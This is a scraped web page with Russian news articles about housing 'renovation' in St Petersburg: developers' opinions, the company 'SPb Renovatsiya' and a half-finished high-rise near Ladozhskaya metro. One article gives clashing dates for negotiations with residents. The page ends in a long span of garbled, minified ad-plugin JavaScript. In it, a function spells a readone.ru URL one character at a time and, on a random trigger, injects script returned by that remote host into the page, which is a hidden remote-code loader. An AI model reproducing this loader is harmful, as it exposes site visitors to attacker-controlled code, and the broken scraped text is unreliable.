С другой стороны, «реновация» в Петербурге — пока что бизнес лишь для отдельной компании «СПб Реновация», объединившейся с «Самолётом ЛО».
Также это периодический заработок для различных «решал» вроде депутата Нотяга, угодившего за решетку за «покровительство» уже ушедшему из «реновации» «Воину-В» господина Глущенко, прославившегося попытками «наезда» на градозащитников и иными забавляющими общественность выходками.
«Вечерний Питер» решил узнать у крупнейших городских застройщиков, видят ли они перспективным для себя участие в процессе «реновации». Мнение важных игроков отрасли — маркер ближайших перспектив города по данному вопросу, оттого это представляется крайне интересным.
Крупнейший городской застройщик — холдинг Setl Group — рассказал, что разовый опыт реновации у компании есть, однако данное направление пока не рассматривается в качестве интересного для компании.
«У холдинга Setl Group есть опыт в сфере реновации. Это жилой комплекс «Космос» на углу пр. Гагарина и Кузнецовской ул. Для строительства дома компания за свой счет расселила старое общежитие по адресу пр. Гагарина, 7, которое находилось в аварийном состоянии, предоставив новое жилье 124 семьям.
В ближайшее время холдинг не планирует участвовать в программе реновации – компания сосредоточится на реализации текущих проектов различных классов», — поведала Ольга Трошева, руководитель Консалтингового центра «Петербургская Недвижимость» (Setl Group).
А вот Сергей Мохнарь, директор департамента развития ГК «ПСК», считает, что «реновация — однозначно перспективное направление».
Между тем, компания в ближайшие 2 года также не планирует проектов в рамках данного процесса.
«Пока ближайших планов на участие в проектах реновации у нас нет. В дальнейшем все будут зависеть от условий и задач застройщика», — сообщила Ольга Ульянова, директор департамента рекламы и маркетинга ГК «Полис Групп».
Среди причин, по которым данное направление может быть интересным, эксперт указывает фактор «обжитости»:
«Реновация советских объектов в городе — это возможность для компаний строить жилье в обжитых лакунах. Это главное преимущество таких участков для застройщиков. Новое строительство сегодня часто сосредоточено в новых кварталах, где постепенно благоустраивается инфраструктура.
Ждать, когда жизнь в таких районах отладится, часть покупателей не хотят, выбирая жилье поближе к уже знакомым им инфраструктурным объектам: школам, дорогам, магазинам. Такое жилье востребовано сейчас на рынке», — добавила Ольга Ульянова.
Куда «реновация» может прийти
Если процесс «реновации» всё-таки наберёт темпы в Петербурге, то районы, в которые она придет, в целом понятны.
«Наиболее перспективны территории в обжитых районах города (вблизи ст. метро, инфраструктуры). Такие пятна в рамках программы есть в Кировском, Московском, Фрунзенском, Невском, Красногвардейском и Калининском районах», — рассказала Ольга Трошева.
Светлана Дьячкова, руководитель отдела градостроительства и землепользования ООО «СК «Дальпитерстрой»,отдельно выделяет район Купчино, а также Веселый Поселок и иные территории в Невском районе (пр. Солидарности, Дыбенко) — там располагаются большие массивы «хрущевок».
Денис Казберов, руководитель проектов компании «Охта Групп», представитель застройщика «Мегалит – Охта Групп», в качестве наиболее подходящих и перспективных видит Московский и Курортный районы.
«В первую очередь, это районы с жилой застройкой 60-х годов и панельные 5-этажные дома, износ которых превышает 80%. А также здания в центральных локациях, которые еще можно спасти, но ими нужно заниматься.
Это уже неэксплуатируемые дома, но по своему состоянию подлежащие восстановлению. Либо же все-таки снос, если сделать уже ничего нельзя, а вид из-за этих зданий, как после войны. Например, Лиговский проспект в районе железной дороги активно застраивается. Но, если вы свернете с него в сторону Боровой ул., то вас встретят заброшенные дома, зияющие пустыми оконными проемами и стоящие в таком виде уже много лет», — говорит Сергей Мохнарь.
Сдерживающие факторы
Впрочем, как бы сильно компании не захотелось заработать на «реновации», существующие сдерживающие факторы пока что видятся достаточно сложными.
Во-первых, инвестиции и трудная прогнозируемость затрат.
«Я не думаю, что есть какая-то гигантская строительная компания, которая сможет стать инвестором. Но вот генеральным подрядчиком — вполне. И вот в качестве генерального подрядчика любой адекватный руководитель строительной компании с удовольствием воспримет такое предложение», — заявила Светлана Дьячкова.
«Ключевая проблема — в том, что фактическое состояние дома сейчас девелопер может оценить только самостоятельно, заказав экспертизу. Может выясниться, что, например, фундамент или окружающая застройка настолько обветшали, что там чихнуть страшно.
На сегодняшний день нет единой информационной базы реального состояния таких объектов. Девелоперам предлагается самостоятельно контролировать эти вопросы, а они могут преподносить неприятные сюрпризы прямо в процессе. Это, как минимум, финансовые риски», — добавил Сергей Мохнарь.
Во-вторых, прежде, чем снести дом, нужно куда-то переселить жителей. А сначала построить внутри «реновируемого» квартала новый дом порой попросту негде.
«Реализация программы реновации сейчас затруднена из-за отсутствия стартовых пятен в большинстве территорий», — говорит Ольга Трошева.
В третьих, это фактор противостояния со стороны местных жителей и градозащитников.
«Компаниям нужно готовиться к борьбе с общественниками, которые следят за каждым таким случаем и часто препятствуют всеми возможными способами новой застройке в отдельных районах или рядом собственными домами. Новая точечная стройка в уже сложившемся окружении всегда сопряжена с шумом, грязными работами в перспективе 2-3 лет, что не всех устраивает», — поведали в ГК «Полис Групп».
Судя по всему, «реновация» отдельных районов Петербурга неизбежна, и это лишь вопрос времени.
Несомненно, массовой она станет лишь тогда, когда редевелопмент и застройка свободных пятен вокруг Петербурга станут всё более сложными и всё менее маржинальными.
И крупнейшие застройщики имеют пока что возможность ждать приведения в порядок законодательной базы и формирования цивилизованной практики данного процесса теми, кто уже сейчас находит в этом заработок.
Не видят огромных рисков в «реновации» и банкиры, без которых реализация полномасштабных проектов попросту невозможна.
«Сбербанк готов участвовать в финансировании проектов реновации, которые могут оказать положительное влияние на городскую инфраструктуру. В целом подходы аналогичны финансированию жилищного строительства. При анализе заявок отдельное внимание уделяется правовой экспертизе и влиянию условий программы на экономику проекта. Дополнительные условия кредитования определяются индивидуально по каждому проекту», — сообщили «Вечернему Питеру» в пресс-службе Северо-Западного банка ПАО Сбербанк.
Редакция «Вечернего Питера» выражает благодарность за помощь в подготовке материала пресс-службам компаний Setl Group, ПСК, Дальпитерстрой, Полис Групп, рекламному агентству «Сетевые коммуникации», а также пресс-службе Северо-Западного банка ПАО Сбербанк.
§
Рядом со станцией метро «Ладожская» начался снос домов, на месте которых «СПб Реновация» будет строить вторую очередь ЖК «Малая Охта«.
«Реновация» хотела снести эти дома еще несколько лет назад, однако условия, которые предлагались жителям, многих категорически не устраивали. Поэтому тогда был снесен лишь один домик и были построены знаменитые полдома «Реновации».
Теперь же жители домов получили различные компенсации, которые позволили им переселиться в отдельные квартиры из сносящихся общежитий. Как рассказал корреспонденту «Вечернего Питера» Мите Жемойтыку источник в компании «СПб Реновация», «кто больше и дольше всех упирался, тот больше всех и получил».
И действительно, если часть первых жителей получили в обмен на комнату отдельное жильё хоть и бОльшей площади, но достаточно далеко (за Колпино в Красном Кирпичнике), то последним выселяющимся достались куда более интересные варианты: в основном, однокомнатные квартиры в новостройках в нормальных районах города.
Как рассказал местный житель Максим Сидоренко, они сразу не были согласны на вариант с Колпино, поэтому когда начались уже «предметные» разговоры в 2021 году, они сопротивлялись этому варианту, несмотря на все попытки «Реновации» надавить на них.
И лишь в 2020 году они смогли получить более достойный вариант. Видимо, застройщика «поджимали» сроки, и с самыми принципиальными жителями было проще договориться на более выгодных для людей условиях.
Впрочем, даже среди сотрудников «СПб Реновации» ходят легенды о том, как семья из трёх человек умудрилась получить сразу три квартиры в обмен на комнату благодаря тому, что прописанные в комнате супруги к тому времени уже развелись, а также наличию малолетнего ребёнка.
В компании «Прайд», занимающейся сносом домов, «Вечернему Питеру» рассказали, что снос одного дома занимает примерно три дня, а затем основное время уходит на вывоз строительных «останков» домов. На первом этапе будут снесены 2 дома. Один из домов (на фото — самый левый) будет пока сохранен, т.к. в нём находится тепловой пункт.
На первом этапе будут снесены 2 дома. Также под снос пойдет «стекляшка» со стороны Заневского проспекта, в которой располагается кафе.
В итоге из всего сносимого квартала останется лишь один дом, который будет напоминать о былом тихом квартале.
Подробно про прошлое этого квартала «Вечерний Питер» рассказывал в статье «Как старый квартал сопротивляется наступлению стеклянных времён».
§
На днях у станции метро Ладожская была сдана новая высотка. ЖК «Малая Охта» от той самой «СПб Реновация», которая наводит ужас на весь город. И с которой, скорее всего, город попрощается.
Эта история — в том числе о том, почему город правильно сделает, что попрощается.
Десять лет назад компания получила для целей «реновации» Квартал 16 «Малая Охта», ограниченный проспектами Уткиным, Энергетиков, Заневским и рекой Оккервиль.
Изначально на территории квартала располагались 5 домов. Компания должна была договориться с жильцами, расселить дома и построить на их месте высотку.
Однако, то, что мы видим сейчас — это сданный дом вот в таком виде. Вернее, половина дома.
Как будто бы старый квартал изо всех сил сопротивляется наступлению новых стеклянных безликих времен.
Фактически, «СПб Реновация» смогла снести только один дом. Оставшиеся четыре расселить не удалось, и они «мешают» построить вторую половину. Больше всего «мешают» 2 из них, непосредственно примыкающие к новому стеклянному гиганту.
Кстати, о том, почему не удалось пока расселить 4 дома из 5. Пообщавшись с теми местными жителями, кто еще остался, удалось узнать, что компания «СПб Реновация» предлагает им переехать в другой проект компании — ЖК «Новое Колпино».
Не для всех людей, которые привыкли жить прямо у станции метро недалеко от центра Санкт-Петербурга, данный вариант оказался подходящим.
Справедливости ради, следует отметить, что упомянутые жилые дома — общежития коридорного типа. На каждом этаже расположено не менее 10 комнат-квартир.
Очевидно, что стоимость такого жилья достаточно низкая. И, видимо, именно желание максимизации прибыли не позволило Застройщику предложить жильцам небольшие квартиры здесь же — в строящейся высотке.
Впрочем, по словам местных жителей, оставшиеся дома расселены не менее, чем на 2/3. Остались именно те, кому важно жить в удобном месте, пусть и в неидеальных бытовых условиях.
Мы решили немного посмотреть на оставшиеся дома, а также зайти хотя бы в парадные, посмотреть, насколько они аварийные.
Следует отметить, что строительство данных домов началось в 1935 году, когда здесь был совхоз, а по обоим берегам реки Оккервиль выращивали картошку, капусту и прочие сельскохозяйственные культуры.
Этот район — Яблоновка — очень долго был городским пригородом. Ведь Мост Александра Невского построили только в 1965 году.
Именно рабочих совхоза селили в такие вот дома
На них до сих пор остались симпатичные балкончики, а на одном из них — куда более современный богатырь
Парадные, в которые удалось зайти, не создают ощущения какой-то безнадежности.
Что касается плотности застройки и озеленения, то здесь вообще все замечательно. Пока.
Ведь наступает «реновация»
Если добавить несколько слов об истории этих мест, то следует отметить, что Яблоновка всегда была самой, что ни есть «камчаткой».
В царские времена здесь были дачи, о которых еще в 1886 году обозреватель «Петербургского Листка» писали, что «живут здесь в большинстве люди свободные,которым ездить в город не приходится или приходится весьма редко… человеку служащему здесь жить немыслимо, поскольку никаких удобных путей сообщения с городом или хотя бы с Охтой нет».
Кстати, в середине 1880-х гг. от Финляндского вокзала сюда ходили маленькие суденышки Финляндского лёгкого пароходства,но из-за неудобств на реке Охта и малого количества дачников это сообщение прекратилось.
Даже в новое время первый автобусный маршрут стал сюда ездить именно после открытия Моста Александра Невского.
Посмотрите на интересный 21-й маршрут того времени. Дело в том, что до этих мест Заневский проспект дотянули лишь в 1978 году.
А вот люди здесь лет 50 эдак назад жили как-то более интересно. По крайней мере, таковыми эти места остались на фотографиях местных жителей.
И очень жаль, что Санкт-Петербург не смог сохранить очередной замечательный квартал, заменив часть своей истории стеклянным бездушным строением.
Планировка квартир по программе реновации — все о проекте | принцип права – интернет журнал
“:’
‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘
“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’
Закрыть через ‘ a.how.outgoing.timer_count “
“:’
‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘
‘ p “
“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘
‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”
“],thead:[1,”
“],tbody:[1,”
“],colgroup:[2,”
“],col:[3,”
“],tr:[2,”
“],td:[3,”
“],th:[3,”
“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’
‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘
‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};
